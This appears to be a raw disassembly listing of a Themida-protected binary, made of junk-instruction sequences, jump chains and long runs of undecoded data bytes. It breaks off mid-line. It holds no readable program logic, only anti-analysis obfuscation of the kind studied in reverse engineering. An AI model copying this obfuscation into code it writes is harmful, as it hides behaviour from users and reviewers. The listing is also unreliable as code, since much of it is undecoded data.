loc_5584F8 ; --------------------------------------------------------------------------- dw 48Fh dd 0F7D98724h, 0E9D987D3h, 27ABh, 6FE9A3B0h, 51000082h dd 693F17B9h, 0B2E18165h, 0E91AFB36h, 58Eh, 685BD831h dd 5C9Ch, 89242C89h, 4C581E5h, 0E9000000h, 3290h, 0C2815A54h dd 4, 4C281h, 14330000h, 24143124h, 7F19E9h, 8BE80000h dd 0E955240Ch, 61CDh, 4C281h, 14870000h, 406DE924h, 0BF570000h dd 73694DE5h, 0BB53D7F7h, 4EFC72D2h, 0F381EBD1h, 3AC57463h dd 6D20E381h, 0C3811C93h, 122F0E7Dh, 571FE9h db 0 ; --------------------------------------------------------------------------- loc_552C81: ; CODE XREF: Themida_:005571B0j mov [esp], eax xchg eax, [esp] not eax jmp loc_559D72 ; --------------------------------------------------------------------------- dw 2D05h dd 57ED545h, 6F796FCBh, 815D5455h, 4C5h, 4BA5200h, 29000000h dd 0FF555AD5h, 8B042474h, 0C483242Ch, 24048F04h, 6A5BE95Ch dd 0C7810000h, 4, 3304C783h, 3C31243Ch, 243C3324h, 0E924248Bh dd 9040h, 0E904C483h, 6E4Ah, 2BB535Bh, 81000000h, 0DF1C16E9h dd 1767E91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_552CF2: ; CODE XREF: Themida_:00555420j mov [esp], esi push esp pop esi add esi, 4 push 4D1Eh jmp loc_559AFE ; --------------------------------------------------------------------------- loc_552D07: ; CODE XREF: Themida_:0055CA70j pop ebx pop dword ptr [esp] pop esp push cx mov cl, 7Bh sub bl, 0EAh sub bl, cl add bl, 0EAh jmp loc_5514CB ; --------------------------------------------------------------------------- db 50h, 0E9h, 25h dd 89FFFFDEh, 59CA89F1h, 8BD0015Eh, 0C4812414h, 4, 2BF57h dd 0F8010000h, 2404875Fh, 0D324248Bh, 0E99C240Ch, 0FFFFDCFAh dd 4C281h, 0F5E90000h, 83FFFFFEh, 0C3302C1h, 240C3124h dd 5C240C33h, 50A1E9h, 0F7414100h, 96E181D1h, 495E8950h dd 7DDDC181h, 0B5E9111Bh, 50FFFFEEh, 65B1B9B4h, 5258E128h dd 159AE9h db 0 ; --------------------------------------------------------------------------- loc_552D8D: ; CODE XREF: Themida_:00551421j xor ecx, 6F8D382Fh or edx, ecx pop ecx jmp loc_5523F7 ; --------------------------------------------------------------------------- loc_552D9B: ; CODE XREF: Themida_:0055960Aj add esp, 4 push 2C93h mov [esp], esi mov esi, 4 add ebx, esi mov esi, [esp] jmp loc_55B2E5 ; --------------------------------------------------------------------------- a_hrc db '_h░c',0 dw 8900h dd 2682414h, 5A000000h, 0FFEC68E9h db 0FFh ; --------------------------------------------------------------------------- loc_552DC9: ; CODE XREF: Themida_:005531EEj push 387Fh mov [esp], ebp mov ebp, esp jmp loc_554605 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 68580000h, 5EC3h, 0BA241489h, 4 dd 535AD001h, 1F1A65BBh, 524AE955h, 0D5680000h, 89000066h dd 50532414h, 26E90CB4h, 0F6000065h, 84C380DBh, 302BF380h dd 0E8C05BD8h, 0E9072403h, 510Dh ; --------------------------------------------------------------------------- loc_552E24: ; CODE XREF: Themida_:00552945j push ebx jmp loc_55CB2B ; --------------------------------------------------------------------------- dw 1C87h dd 30BE924h, 85BA0000h, 12F2356h, 0FBCCE9D0h, 73B9FFFFh dd 0E967C043h, 185h ; --------------------------------------------------------------------------- loc_552E48: ; CODE XREF: Themida_:005564D5j mov ecx, esp add ecx, 4 jmp loc_5521BC ; --------------------------------------------------------------------------- db 0ADh, 31h, 0D8h dd 4EC81h, 2C890000h, 0BE86BD24h, 0E82945A9h, 0E9242C8Bh dd 1242h, 0C6E7815Fh, 81474513h, 0CA0359E7h, 0D9B95146h dd 815E9B45h, 3F38D2E9h, 24F18126h, 0F7016301h, 6DFEE9D1h dd 0EEC10000h, 70F68107h, 8138BB3Ah, 8724F7EEh, 5EF20134h dd 7345E9h, 59CA0100h, 685AD629h, 790Ah, 0E9243C89h, 6217h ; --------------------------------------------------------------------------- loc_552EC0: ; CODE XREF: Themida_:0055C136j push edi mov edi, esp push ebx mov ebx, 0A3F4F5Ch sub ebx, 2419160Eh not ebx not ebx add ebx, 5D2023A2h jmp loc_550C99 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 80000000h, 0C380A6C3h, 132BE902h, 22680000h dd 0E9000045h, 3A86h ; --------------------------------------------------------------------------- loc_552EFC: ; CODE XREF: Themida_:00551502j shr edx, 1 cmp eax, edx jz loc_550F2B push 7F9Ch mov [esp], eax mov eax, 7D686A1Eh or eax, 304A61EBh neg eax not eax push edx push ecx mov ecx, 15C5106Fh add ecx, 29B13369h mov edx, ecx jmp loc_55C1A7 ; --------------------------------------------------------------------------- loc_552F30: ; CODE XREF: Themida_:0055A55Bj add ebp, eax jmp loc_55A88C ; --------------------------------------------------------------------------- loc_552F37: ; CODE XREF: Themida_:00559DA7j pop edx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, 1CE73B07h jmp loc_556246 ; --------------------------------------------------------------------------- aIisug db '┴КИЦG',0 align 4 dd 4EC81h, 4890000h, 0E9E08924h, 962Ch, 0E9242C89h, 77CBh dd 0BD242C89h, 34F9668Fh, 6B62E9h db 0 ; --------------------------------------------------------------------------- loc_552F7D: ; CODE XREF: Themida_:005521CDj pop dword ptr [esp] jmp loc_553CEE ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 1455E900h, 0E7C10000h, 0AE78108h, 8101317Fh dd 0EEE504C7h, 5FFB89FFh, 4708E9h, 4055800h, 0E9000000h dd 0FFFFE111h ; --------------------------------------------------------------------------- loc_552FB8: ; CODE XREF: Themida_:0055A876j pop eax not eax xchg eax, edx shr edx, 5 not edx jmp loc_559414 ; --------------------------------------------------------------------------- loc_552FC6: ; CODE XREF: Themida_:00551341j mov edi, ebx jmp loc_55848B ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_557094 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 406078F5h, 161CE950h, 665C0000h, 0E9240C89h, 5960h dd 8B2434FFh, 89532404h, 0DB40E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552FFA: ; CODE XREF: Themida_:005542C7j mov edx, 32DB6845h xor edx, 4C074104h and edx, 31EF0CCEh jmp loc_559297 ; --------------------------------------------------------------------------- loc_553010: ; CODE XREF: Themida_:005510A0j push dword ptr [esp] pop edi jmp loc_554084 ; --------------------------------------------------------------------------- db 0E9h, 28h, 0DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55301E: ; CODE XREF: Themida_:00550DBDj mov edx, 4 sub eax, edx pop edx jmp loc_5531DB ; --------------------------------------------------------------------------- db 50h dd 8E7D79B8h, 3AD8BF0Ch, 0F78118B0h, 34F26EC2h, 0F708E7C1h dd 9FC781D7h, 17DBDA3h, 2434FFC7h, 0FFED69E9h, 0BF5756FFh dd 7097409Eh, 57C0C781h, 0BB5324C8h, 62DC47EDh, 34C8E9h dd 24048700h, 2CD3665Ch, 0C4E99C24h, 8100008Eh, 4C4h, 33E6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553082: ; CODE XREF: Themida_:00555DC1j push edx push edi jmp loc_55BC90 ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 8B243C33h, 34FF2424h, 2434FF24h, 5C14E958h, 0CE280000h dd 0EB96E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5530A6: ; CODE XREF: Themida_:00551642j add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_556F6D ; --------------------------------------------------------------------------- db 5Ch dd 0FF2434FFh, 71E92434h, 4F000093h, 7E36E9h, 28E95000h dd 81FFFFF4h, 4C4h, 46C38100h, 1D053B6h, 42E95BDAh, 0BF00003Ch dd 0AABE9245h, 0E7E9F931h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5530EF: ; CODE XREF: Themida_:005522E8j push ebp mov ebp, esp jmp loc_5571DB ; --------------------------------------------------------------------------- db 66h dd 9C241CF7h, 0FFD945E9h, 0ED8158FFh, 69EA5388h, 0F0E9DD01h dd 0C3000032h, 0E92434FFh, 5DB5h, 3B688105h, 659B683Dh dd 63E90000h, 40000003h, 5004032Dh, 58C60121h, 5C243487h dd 9C2404D3h, 0FFEAECE9h, 0EC815CFFh, 4, 89240C89h, 4C181E1h dd 55000000h, 4BDh, 4D8DE900h, 3C330000h, 0F1EFE924h, 86BFFFFFh dd 29CDDAC8h, 0D9895FFBh, 5B2434FFh, 4C481h, 0D9290000h dd 0EE9E9h, 4C48100h, 30000000h, 240C8BE8h, 8004C483h dd 0C3803EEBh, 16B252BFh, 0B753DAF6h, 0F837E9B8h, 0BD55FFFFh dd 1A6B67B6h, 308E9h, 51D5F700h, 2A09ECB9h, 59CD2900h dd 5505C681h, 0EE017DEBh, 5505EE81h, 34FF7DEBh, 242C8B24h dd 4085E9h, 244C0100h, 83585904h, 23E904ECh db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5531DB: ; CODE XREF: Themida_:00553026j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop eax jmp loc_552DC9 ; --------------------------------------------------------------------------- db 0C0h dd 516603EEh, 0A4E9F0B5h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5531FF: ; CODE XREF: Themida_:0055B202j add esp, 4 push dword ptr [esp] pop ebp jmp loc_55714E ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFFB09h, 68241489h, 7AFA6C43h, 0E3B9515Ah dd 816D317Bh, 0F03438E1h, 0CC9813Ch, 815EB907h, 0A146DBC9h dd 81D1F705h, 1C1h, 0C7E98100h, 12F383Bh, 2C24E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55324A: ; CODE XREF: Themida_:00551249j sub edi, edx pop edx mov ebx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor ebx, edx jmp loc_550BBB ; --------------------------------------------------------------------------- db 81h, 0E7h, 48h dd 0E9584408h, 4E0Ch, 593AE95Ah, 0E94F0000h, 4D9h ; --------------------------------------------------------------------------- loc_553280: ; CODE XREF: Themida_:00555444j pop esi mov eax, [esp] add esp, 4 add edx, 4D013875h or edx, 75C076F2h shl edx, 7 push esi mov esi, 4DF355FFh jmp loc_5562DE ; --------------------------------------------------------------------------- dd 2434FF5Ch, 0E5CCE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5532AE: ; CODE XREF: Themida_:00555691j pop ebx sub ebx, 76607069h mov ebp, [esp] jmp loc_551767 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0F709E957h, 0D909FFFFh, 0F7F1875Bh, 41F187D6h, 2CFFE181h dd 9BE91DC9h, 66FFFFD8h, 0C8BCA89h, 638BE924h, 8B660000h dd 7368240Ch, 8900000Ch, 0E389241Ch, 4BF57h, 0FDE90000h dd 49000018h, 55AEF181h, 0CB313D8Ch, 5B5F5359h, 0B67F5705h dd 45F2051Dh, 0F80112F9h, 0F945F22Dh, 7F572D12h, 875F1DB6h dd 248B2404h, 9CC13824h, 0FFD715E9h, 0D710E9FFh, 0D0F6FFFFh dd 8058C688h, 0CEFEE3F6h, 0D6F6D6F6h, 8016C680h, 0F40038C6h dd 58E6005Ah, 66AFC680h, 81240C8Bh, 2C4h, 8BF00000h, 0C4812414h dd 4, 2D8468h, 240C8900h, 75B05052h, 5304E0C0h, 65E973B3h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55337F: ; CODE XREF: Themida_:00553A86j add eax, 800005h add ecx, 531B33B9h jmp loc_5594DE ; --------------------------------------------------------------------------- loc_55338F: ; CODE XREF: Themida_:005565BEj pop esi jmp loc_5547A1 ; --------------------------------------------------------------------------- aAShx db '─цмИHX',0 dd 68C30100h, 3B42h, 0FB8E9h db 0 ; --------------------------------------------------------------------------- loc_5533A9: ; CODE XREF: Themida_:00555193j add esi, 0EA924FBDh jmp loc_55A0B4 ; --------------------------------------------------------------------------- dd 0E904C483h, 588Fh, 8B243C87h, 0C4812424h, 4, 0E068F1F7h dd 8900005Fh, 30E92414h, 0C1000092h, 0EA8108EAh, 0FFFFFFFFh dd 0F7FFEA83h, 0E0FAE9D2h, 465BFFFFh, 0FFE7DEE9h, 0FCC581FFh dd 1FFBBBBh, 0BA525DE8h, 4, 875AD001h, 248B2404h, 26BD5524h dd 81637B38h, 7C5299F5h, 81454528h, 0B70091CDh, 33C5811Ah dd 0E9A44895h, 0FFFFDF1Eh, 32C168h, 241C8900h, 0B05064B3h dd 6841E9FFh, 89660000h, 0B652240Ch, 1EE808Fh, 0E98EC680h dd 450h, 0EFC0D7F6h, 53EF8003h, 8005EFC0h, 27E9BEF7h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55345F: ; CODE XREF: Themida_:00557B63j mov eax, ebx push ecx mov ecx, eax push ecx push esi push ebp mov ebp, 6EC2770Dh jmp loc_5541AC ; --------------------------------------------------------------------------- db 0B4h, 44h, 80h dd 6CE9FFECh, 33000035h, 0C31240Ch, 240C3324h, 2A81E95Ch dd 2C890000h, 5812BD24h, 0E5C16560h, 0A4F58104h, 106409Ah dd 34FF5DE8h, 20685D24h, 89000048h, 0E789243Ch, 9809E9h dd 5DE92100h, 53A7C181h, 40E924A2h, 59FFFFFEh, 0E9E68956h dd 0FFFFFABDh ; --------------------------------------------------------------------------- loc_5534C8: ; CODE XREF: Themida_:00555AF8j add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ebx, eax jmp loc_552201 ; --------------------------------------------------------------------------- dd offset dword_5B0368 dd 24048900h, 405E089h, 56000000h, 4BEh, 8BF02900h, 89572434h dd 5F72E9E7h, 815E0000h, 4C2h, 24148700h, 0CEE9535Ch, 81000057h dd 1C342DEBh, 2F5AE911h, 83AD0000h, 0F00207Fh, 5B9784h dd 0FEBA5200h, 816F3F3Ch, 0FFFFFFC2h, 0A8F281FFh, 4A3D716Fh dd 17CDE281h, 0F281520Bh, 8CE3967h, 1E93BB53h, 0BAE92951h dd 0B8000092h, 0 dd 1B24E9h, 5FFD0100h, 5B2868h, 241C8900h, 5B7CC7BBh, 345AE927h dd 0D6F60000h, 88F58851h, 59EF88FEh, 0FE4CEF80h, 80D7F6CFh dd 0FE88BFF7h, 0E9F0005Bh, 0FFFFEC47h, 0E93C77FFh, 0FFFFFB2Dh dd 5D10F181h, 0C801638Ah, 83240C8Bh, 2C8B04C4h, 4C48124h dd 0E9000000h, 7443h, 4244401h, 582434FFh, 4C481h, 0BAE90000h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5535CB: ; CODE XREF: Themida_:005551ECj shl esi, 6 and esi, 6DC4579Dh dec esi jmp loc_55B363 ; --------------------------------------------------------------------------- aSsk db 'SИk]',0 align 10h loc_5535E0: ; CODE XREF: Themida_:0055A6D6j xchg esi, [esp] jmp loc_557FB9 ; --------------------------------------------------------------------------- loc_5535E8: ; CODE XREF: Themida_:005516ACj add ecx, ebp push ebx mov ebx, 70850C20h add ecx, 17115A95h sub ecx, ebx sub ecx, 17115A95h pop ebx jmp loc_5566E0 ; --------------------------------------------------------------------------- dd 0EB81D3F7h, 57E37E7h, 3318E9h, 8BD03100h, 0C4832414h dd 30FF6604h, 0FFD425E9h, 80D7F6FFh, 0DFF638CFh, 8056F780h dd 0F80022C7h, 6EE9525Bh db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553637: ; CODE XREF: Themida_:0055950Bj add bl, al sub bl, 67h jmp loc_55A5DF ; --------------------------------------------------------------------------- loc_553641: ; CODE XREF: Themida_:00559862j push eax mov eax, 0DA26BF41h add edx, eax pop eax mov eax, edx jmp loc_558FE0 ; --------------------------------------------------------------------------- loc_553651: ; CODE XREF: Themida_:00550D04j ; Themida_:005573EDj push ebx jmp loc_55A02F ; --------------------------------------------------------------------------- db 83h dd 48904ECh, 2246824h, 48B2F4Ch, 0E398E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55366A: ; CODE XREF: Themida_:00550D10j push 2C04h mov [esp], ecx push 5F4h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, 4 add ecx, edx pop edx push ebp mov ebp, 484F0FBBh add ebp, 1 jmp loc_557898 ; --------------------------------------------------------------------------- db 31h, 0Ch, 24h dd 0E9240C33h, 87EAh ; --------------------------------------------------------------------------- loc_5536A4: ; CODE XREF: Themida_:00553B21j add ecx, 4 add ecx, 4 jmp loc_55881F ; --------------------------------------------------------------------------- loc_5536B2: ; CODE XREF: Themida_:00551CD2j add ebx, eax sub ebx, 509248F3h push 3C8Dh mov [esp], eax jmp loc_550A46 ; --------------------------------------------------------------------------- db 1 dd 8B042474h, 3BE92434h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5536D3: ; CODE XREF: Themida_:005581F0j mov ebp, 270C06A0h shr ebp, 3 xor ebp, 4E180D0h add edi, 35A35F6Dh sub edi, ebp sub edi, 35A35F6Dh push dword ptr [esp] pop ebp add esp, 4 xchg edi, [esp] pop esp mov [esp], ebx sub dword ptr [esp], 30F3195Fh pop eax add eax, 30F3195Fh push 7CB7h mov [esp], edi push 3B4B1C80h pop edi push 4F56h mov [esp], ebp push esi jmp loc_5556B3 ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 51000000h, 0FFD9ABE9h, 0A1BA52FFh, 4A2DA856h, 851C281h dd 0E7E9FB0Fh, 8100001Bh, 0D409ACC7h, 72C78122h, 5D2DF96Eh dd 79F1E9h, 45EF8100h, 810DA40Fh, 3326ADEFh, 5FF801A3h dd 0E904C083h, 669Eh, 6C79BE56h, 74296F3Ch, 815E0824h dd 18042444h, 1053613h, 81042474h, 1804246Ch, 81053613h dd 79042444h, 8B6F3C6Ch, 0C4832434h, 175E904h, 0D1880000h dd 0B6E95A66h, 0BB000095h, 34A83382h, 0C6E9DD01h, 83000053h dd 92E904C6h, 5200005Ah, 0C2815A54h, 4, 0FABE9h, 0C0835D00h dd 34E95002h, 3100006Eh, 0BD5558C3h, 49504412h, 52C9C581h dd 0E581726Fh, 6F4B0330h, 0BA52D5F7h, 5170308Dh, 8E9D501h dd 0F7FFFFE5h, 7E8C1D8h, 497FBD55h, 0C5811315h, 0A89192BFh dd 15DE829h, 685A58C5h, 6E50h, 0E9242C89h, 345Dh ; --------------------------------------------------------------------------- loc_553820: ; CODE XREF: Themida_:00559E90j mov [esp], ecx mov ecx, 1 push 2345h mov [esp], edx mov edx, 24h add edx, 2F38086Ch add edx, 7C0B03B8h jmp loc_557669 ; --------------------------------------------------------------------------- dw 4721h dd 2434FF1Ch, 5C46858h, 0C890000h, 0CB3E924h, 1F040000h dd 6618E9h, 3C8B5900h, 4C48324h, 2C681h, 34870000h, 8B665C24h dd 0BF68240Ch, 89000037h, 0E6892434h, 4C681h, 55680000h dd 89000007h, 0BF572414h, 4, 0E95FFA89h, 0FFFFF336h, 0BAE9F588h dd 0BA000025h, 5350002h, 557C281h, 0BBE9035Bh, 5900008Bh dd 0B4E95150h, 66000086h, 5124048Bh, 0C181E189h, 4, 4E981h dd 0C870000h, 1C895C24h, 81E38924h, 4C3h, 4EC8100h, 0E9000000h dd 951Eh, 21E95258h, 0B7000035h, 0E9F80025h, 0FFFFE02Fh dd 815BDA01h, 1E002DC7h, 81D7297Bh, 1E002DEFh, 24148B7Bh dd 4C481h, 9EE90000h, 8B000072h, 0C4812404h, 4, 1362E9h dd 4BE5600h, 1000000h, 5E042474h, 0E924048Fh, 12A0h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0E789243Ch, 2481E9h, 0D9315800h dd 0FFD4DBE9h, 51E089FFh, 49A7E9h, 24148900h, 0F1887FB6h dd 1CD6E9h, 5569BB00h, 5EE920CEh, 83000003h, 896602ECh dd 26B3241Ch, 8B66D930h, 0C481241Ch, 2, 0FFFA97E9h, 241C89FFh dd 4BBh, 3C40E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55399E: ; CODE XREF: Themida_:00555476j xchg eax, [esp] pop esp xchg edi, [esp] pop esp mov [esp], edi push edx push 35807FC2h jmp loc_557001 ; --------------------------------------------------------------------------- loc_5539B4: ; CODE XREF: Themida_:00558A34j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_55B730 ; --------------------------------------------------------------------------- db 59h dd 8704C583h, 1BE9242Ch db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5539DB: ; CODE XREF: Themida_:005542E5j push ebx push edi mov edi, 5DBF2147h and edi, 4DC0499h push edx jmp loc_55A771 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 9EB9515Dh, 0C119F85Eh, 42E904E1h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A07: ; CODE XREF: Themida_:0055A299j pop ecx push ebx pop esi mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55229F ; --------------------------------------------------------------------------- db 68h, 83h, 39h dd 4890000h, 24B824h, 0EC810000h, 4, 0B8240489h, 442F1D68h dd 158C601h, 0BD5553C6h, 3FF1368Dh, 2E22E9h, 6800h, 0FBE90000h dd 66000015h, 0E915EA68h, 0FFFFF9DAh, 8042C480h, 0B252E5CCh dd 5AD4006Eh, 0E928EC80h, 81D0h ; --------------------------------------------------------------------------- loc_553A74: ; CODE XREF: Themida_:00555256j push ebp mov ebp, 5B054953h add ebp, 0A4FAB6AEh mov edi, ebp pop ebp sub eax, edi pop edi jmp loc_55337F ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4835824h, 59545104h, 58FEBD55h, 98E92828h dd 8000007Ch, 0B151AFEEh, 5F3CE9B3h, 148B0000h, 4C48124h dd 68000000h, 784Eh, 0E9241C89h, 6809h ; --------------------------------------------------------------------------- loc_553AC4: ; CODE XREF: Themida_:0055C2D8j push esp pop ecx push eax push ebp mov ebp, 50EF5254h shr ebp, 1 jmp loc_552248 ; --------------------------------------------------------------------------- dd 8BF02966h, 0C4832434h, 7D686604h, 14896625h, 30D3E924h dd 5A540000h, 2A9C6851h, 0C8B0387h, 4C48324h, 0C108E9C1h dd 505106E9h, 187E9h, 0E9C35C00h, 0FFFFCF3Ah, 0C89665Ch dd 0CF30E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B16: ; CODE XREF: Themida_:00557871j sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_5536A4 ; --------------------------------------------------------------------------- dw 0A368h dd 8900001Eh, 8B54242Ch, 0C483242Ch, 87A3E904h, 0C1810000h dd 4, 0FFD89DE9h db 0FFh ; --------------------------------------------------------------------------- loc_553B45: ; CODE XREF: Themida_:0055686Aj not edx not edx shr edx, 4 jmp loc_55CCCB ; --------------------------------------------------------------------------- db 29h, 0F8h, 5Fh dd 0D5452D2Dh, 0E9D8017Eh, 0FFFFF12Eh, 8016B753h, 97E999CFh dd 8100005Ch, 880281EBh, 0E9D80105h, 3C40h, 2414875Bh dd 243C895Ch, 0E924148Bh, 0FFFFDD83h, 24048B66h, 685F5457h dd 3A28h, 56242C89h, 5A1FE9h, 96E78100h, 53288426h, 0EA4F3ABBh dd 5BDF296Eh, 0FFDD1AE9h, 2B03BAFFh, 0C2814251h, 35E13E79h dd 6123E281h, 0D2F77754h, 42A4E94Ah, 575E0000h, 6B0AE9h dd 40C96800h, 1C890000h, 0C97E924h, 0EC830000h, 243C8904h dd 0FFE450E9h db 0FFh ; --------------------------------------------------------------------------- loc_553BE9: ; CODE XREF: Themida_:00558753j push eax mov eax, 0AA62FBDh jmp loc_55C067 ; --------------------------------------------------------------------------- dd 0EE9CF381h, 0DE299BF1h, 24048B5Bh, 0FFEB82E9h, 58C631FFh dd 0C681DEF7h, 68B05516h, 0A9F6814Eh, 89B7A9EAh, 0ABE95EF7h dd 5000005Ch, 0C13054B0h, 28620458h, 59622CC8h, 152EE9h dd 24148900h, 7022E9h db 0 ; --------------------------------------------------------------------------- loc_553C39: ; CODE XREF: Themida_:00550D5Aj or edi, 0D60F79h xor edi, 0B1691C8Eh sub ecx, edi jmp loc_55974D ; --------------------------------------------------------------------------- dd 0BEF7814Fh, 55A9F6Eh, 377C59CAh, 5A51E9h, 66D03000h dd 8124148Bh, 2C4h, 0FC33000h, 75E9C0B6h, 500000Ch, 4 dd 1174E9h, 24348700h, 8724248Bh, 0E95C241Ch, 163Fh, 83240C8Bh dd 485804C4h, 0E9C18191h, 0E9FFFFF1h, 30A0h, 0E789575Dh dd 2801E9h db 0 ; --------------------------------------------------------------------------- loc_553CA9: ; CODE XREF: Themida_:0055B8F6j pop ecx pop dword ptr [esp] pop esp mov [esp], esi push ebx mov ebx, 1E0C7A18h jmp loc_55B6D8 ; --------------------------------------------------------------------------- dd 70CCEE81h, 0F0012442h, 9A4E95Eh, 0B8500000h, 73AF69B7h dd 222FE9h, 6DF38100h, 120CE55h, 7BE95BDDh, 51000058h dd 0DF01595Bh, 4BFDE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553CEE: ; CODE XREF: Themida_:00552F80j pop esp add esp, 4 sub esp, 4 mov [esp], esi push ebp push esi mov esi, 4B3D252Ah dec esi or esi, 4CD66143h shr esi, 2 jmp loc_551DAD ; --------------------------------------------------------------------------- db 54h, 0E9h, 7Fh dd 5300001Eh, 23BEE9h, 4C48300h, 0E924048Fh, 3FDh, 29433C35h dd 4FE94827h, 5EFFFFD8h, 8108EBC1h, 2C77CCF3h, 0EECEE939h dd 8B66FFFFh, 75E92404h, 1000060h, 241C8BDDh, 8704C483h dd 248B242Ch, 68F9F724h, 12EAh, 50241489h, 0CCDCE99Ch dd 0C058FFFFh, 0E5C007EDh, 0FFED8008h, 8003E5C0h, 212C43C5h dd 2104E828h, 4EC8359h, 36CDE9h, 59CF8000h, 0E94FF780h dd 758Bh, 24D3665Ch, 0A7E99C24h, 0E9FFFFCCh, 0FFFFCCA2h dd 195A2468h, 0F1815928h, 28195A20h, 24348151h, 3AA5652Eh dd 2EF6815Eh, 593AA565h, 71D4E9h db 0 ; --------------------------------------------------------------------------- loc_553DC5: ; CODE XREF: Themida_:00556031j add ebp, 4CE60C68h pop ebx push ecx mov ecx, 70EE6520h add ebp, 372A7454h sub ebp, ecx sub ebp, 372A7454h jmp loc_55599A ; --------------------------------------------------------------------------- loc_553DE5: ; CODE XREF: Themida_:0055468Ej pop edx jmp loc_55B359 ; --------------------------------------------------------------------------- db 1 dd 430A2DF0h, 5E5E5A3Bh, 81242C8Bh, 4C4h, 4E88300h, 5C240487h dd 980E9h, 81E78900h, 4C7h, 4C78100h, 87000000h, 805C243Ch dd 0C328A3C3h, 83A3EB80h, 148904ECh, 0B2525324h, 3006B77Bh dd 52E95AD7h, 47FFFFFFh, 514BC781h, 12E98A91h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E43: ; CODE XREF: Themida_:0055C576j xor ah, ch pop ecx push eax mov ah, 0DBh not ah shr ah, 6 shl ah, 5 sub ah, 0E2h add dl, ah pop eax sub dl, ah sub dl, 1Eh pop eax sub al, 6Dh sub al, dl add al, 6Dh pop edx push ecx jmp loc_5553D0 ; --------------------------------------------------------------------------- loc_553E6A: ; CODE XREF: Themida_:0055BF6Aj sub esp, 4 mov [esp], eax jmp loc_55BB14 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0CFh dd 0B050C7FEh, 34A9341Fh, 0E9603429h, 0C3h, 2A05E801h dd 573DB07Ah, 1D99BB53h, 69E9244Fh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E9B: ; CODE XREF: Themida_:00559100j xor dword ptr [esp], 493F76C7h pop ecx sub esp, 4 mov [esp], ebp push 493F76C7h pop ebp xor ecx, ebp pop ebp pop edx sub [esp+4], ecx jmp loc_5522E5 ; --------------------------------------------------------------------------- dd 8F1D2D48h, 0C3297D70h, 5624048Bh, 0C681E689h, 4, 8704C683h dd 15C2434h, 0E8C381FBh, 5220FB23h, 0BAh, 3DA0100h, 24148B02h dd 5B04C483h, 489FE9h db 0 ; --------------------------------------------------------------------------- loc_553EF5: ; CODE XREF: Themida_:0055A659j pop ebp jmp loc_55CE3F ; --------------------------------------------------------------------------- db 29h dd 0C3015AD3h, 5642BA52h, 0EC8172D6h, 4, 0BD242C89h, 5EF9413Ah dd 0B6E9EA29h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553F1B: ; CODE XREF: Themida_:00554D70j xor al, bl push dword ptr [esp] mov ebx, [esp] jmp loc_551E5C ; --------------------------------------------------------------------------- dd 5D2434FFh, 4EC81h, 0C890000h, 3C8FE924h, 0E95B0000h dd 9D0h, 0D7F7FB87h, 46E9FB87h, 76h, 0D7F658C7h, 800FEF80h dd 0FD00D8C5h, 0D8B75366h, 5B66FD28h, 0E9241C8Bh, 3A52h dd 241C895Ch, 0FFD72EE9h db 0FFh ; --------------------------------------------------------------------------- loc_553F71: ; CODE XREF: Themida_:0055597Ej dec dl dec dl sub dl, 0A3h sub bl, dl pop edx add bl, al add bl, 0D6h add bl, 7Bh movzx eax, al push ebx push 1732h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 push esi mov esi, 4 sub eax, 0C8A3FB9h add eax, esi add eax, 0C8A3FB9h pop esi push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_557CEC ; --------------------------------------------------------------------------- db 0B3h dd 5E3C05Fh, 6618CB80h, 2853B151h, 